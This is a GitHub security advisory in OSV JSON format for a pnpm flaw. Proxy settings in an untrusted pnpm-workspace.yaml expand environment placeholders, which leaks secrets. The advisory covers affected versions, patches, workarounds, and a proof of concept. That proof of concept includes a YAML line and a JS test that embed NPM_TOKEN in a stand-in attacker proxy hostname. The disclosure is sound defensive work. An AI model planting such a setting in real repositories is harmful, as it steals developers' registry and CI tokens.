GHSA-vx52-2968-3vc6: pnpm Environment Secrets Exfiltrated Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vx52-2968-3vc6",
  "modified" : "2026-09-01T19:22:43Z",
  "published" : "2026-09-01T19:22:42Z",
  "aliases" : [ ],
  "summary" : "pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml",
  "details" : "## Summary\n\npnpm expands `${VAR}` environment placeholders in the `httpProxy` / `httpsProxy` / `noProxy` settings read from a project's `pnpm-workspace.yaml`. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs `pnpm install` in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as `NPM_TOKEN` or `GITHUB_TOKEN`.\n\nThis bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for `registry`, `pnprServer`, `registries` and `namedRegistries` when they come from an untrusted project manifest, and the sibling `.npmrc` reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.\n\n## Impact\n\nAn attacker who controls only the contents of a repository's `pnpm-workspace.yaml` — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, `node_modules`, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.\n\nThis turns \"I can author a project manifest\" into \"I read the victim's environment secrets.\"\n\n## Affected versions\n\nIntroduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.\n\n- pnpm 11.x: `>= 11.0.0, < 11.11.0`\n- pnpm 10.x: `>= 10.7.0, < 10.34.5`\n\nThe Rust port (`pacquet`) and the registry server (`pnpr`) are **not** affected.\n\n## Patches\n\n- **pnpm 11.11.0** and later\n- **pnpm 10.34.5** and later\n\nThe fix adds `httpProxy`, `httpsProxy`, `noProxy`, `proxy` and `noproxy` to the request-destination key set in `@pnpm/config.reader` (`src/getOptionsFromRootManifest.ts`), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing `registry` / `pnprServer` handling and the `.npmrc` reader's `isRequestDestinationValueKey`. Regression tests cover the proxy keys.\n\n## Workarounds\n\nUpgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's `pnpm-workspace.yaml` for proxy settings before installing.\n\n## Proof of concept\n\n```yaml\n# pnpm-workspace.yaml in an untrusted repository\npackages:\n  - .\nhttpsProxy: \"http://${NPM_TOKEN}.collector.attacker.example.com:8080\"\n```\n\nWith `NPM_TOKEN` set in the victim's environment, `pnpm install` expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.\n\nUnit level:\n\n```js\nprocess.env.PNPM_TEST_TOKEN = 'secret'\nconst o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })\n// Vulnerable: o.httpsProxy === 'http://secret.evil/'\n// Patched:    o.httpsProxy === undefined\n```\n\nUsing `registry` or `pnprServer` in place of `httpsProxy` does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.\n\n## Credit\n\nReported privately. A second finding in the original report — the `Authorization` header being retained across a same-host `https` -> `http` redirect — was assessed and is **not** treated as a pnpm vulnerability: npm (`make-fetch-happen`, `minipass-fetch`), Yarn (`got`) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "pnpm"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "11.0.0"
      }, {
        "fixed" : "11.11.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "pnpm"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "10.7.0"
      }, {
        "fixed" : "10.34.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pnpm/pnpm/pull/12871"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pnpm/pnpm/pull/12898"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pnpm/pnpm/commit/36928beae9afb64a2a6a1221df54e66d361320c8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pnpm/pnpm/commit/5a4daec4bd5f0170b18ae053aff093eea56368ba"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/orgs/pnpm/discussions/13598"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pnpm/pnpm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pnpm/pnpm/releases/tag/v10.34.5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pnpm/pnpm/releases/tag/v11.11.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-201", "CWE-319", "CWE-522" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-01T19:22:42Z",
    "nvd_published_at" : null
  }
}